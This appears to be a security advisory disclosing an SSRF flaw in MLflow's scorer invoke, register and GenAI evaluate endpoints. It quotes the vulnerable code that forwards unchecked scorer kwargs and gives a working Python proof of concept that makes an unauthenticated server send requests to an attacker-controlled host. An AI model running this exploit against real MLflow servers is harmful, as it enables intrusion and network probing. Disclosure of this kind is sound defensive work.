MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously